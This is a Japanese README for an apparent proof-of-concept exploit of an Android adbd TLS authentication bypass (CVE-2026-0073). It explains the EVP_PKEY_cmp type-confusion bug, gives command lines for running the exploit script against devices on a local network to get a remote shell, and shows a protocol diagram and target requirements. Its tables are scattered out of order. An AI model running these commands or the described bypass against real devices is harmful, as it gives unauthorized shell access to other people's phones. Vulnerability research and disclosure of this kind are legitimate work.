
CVE-2026-0073 — Android ADBデーモン(adbd)におけるEVP_PKEY_cmp型混乱を介したTLS認証バイパス。EC/Ed25519鍵の不一致を利用してWiFi経由で不正なシェルアクセスを取得。Android 14+向けPoCエクスプロイト。
Android の ADB デーモン(adbd)における重大な認証バイパスにより、ローカルネットワーク上の任意の攻撃者がユーザー認証なしで対象デバイス上で完全なシェルを取得できます。
この脆弱性は daemon/auth.cpp 内の adbd_tls_verify_cert() に存在し、EVP_PKEY_cmp() がブール値として使用されています。保存された鍵が RSA で、提示された TLS クライアント証明書が 非 RSA 鍵(EC P-256 または Ed25519)を保持している場合、EVP_PKEY_cmp() は -1(型不一致)を返します。これは C/C++ では真と評価されるため、authorized = true となります。
// daemon/auth.cpp の脆弱なコードパターン
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← バグ: -1 は真!
authorized = true;
}
pip install cryptography
# 対話型シェル
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 単一コマンド実行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 詳細モード(完全なプロトコルトレースを表示)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
デフォルトでは、スクリプトは EC P-256 → Ed25519 → EC/TLS 1.2 の順に自動試行し、成功するまで続けます。
攻撃者 対象 (adbd)
│ │
│──── TCP 接続 ────────────────────►│
│──── CNXN (平文) ────────────────►│
│◄─── STLS (TLS アップグレード要求) ──│
│──── STLS 応答 ──────────────────►│
│ │
│════ TLS 1.3 ハンドシェイク ════════│
│ (EC P-256 クライアント証明書を提示) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 は真 → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (デバイス情報) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (シェル I/O) ──────►│
│ │
[完全なシェルアクセス] │
| 要件 | 詳細 |
|---|---|
| 開発者向けオプション |
⚠️ 重要: RSA 鍵は
/data/misc/adb/adb_keysに存在する必要があります。これは USB デバッグペアリング(「USB デバッグを許可しますか?」ダイアログの承認)によって生成されます。ワイヤレスデバッグペアリング(adb pair)は鍵を別の場所(adb_known_hosts.pb)に保存するため、この要件を満たしません。
adb shell getprop ro.build.version.security_patch
以下でテスト済み、動作確認済み:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
このフォークには以下の拡張機能が含まれています:
select() の代わりにスレッド化 I/O を使用-v フラグによる詳細なプロトコルトレースCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # メインのエクスプロイトスクリプト
└── README.md # このファイル
このツールは認可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。テスト前に必ず適切な許可を取得してください。作者は本ソフトウェアの誤用について一切の責任を負いません。
このツールが研究に役立ったなら、⭐ を付けてください
EVP_PKEY_cmp() 戻り値 | 意味 | C で真? | 結果 |
|---|
1 | 鍵が一致 | ✅ | 認証成功(正常) |
0 | 鍵が不一致 | ❌ | 拒否(正常) |
-1 | 型不一致 | ✅ | 認証成功(バグ) |
| 対象デバイスで有効化 |
| ワイヤレスデバッグ | 有効化(またはポート 5555 での ADB over TCP) |
| 保存された RSA 鍵 | デバイスが少なくとも 1 回 USB ペアリングされていること(/data/misc/adb/adb_keys) |
| ネットワークアクセス | 攻撃者が adbd TCP ポートに到達可能であること |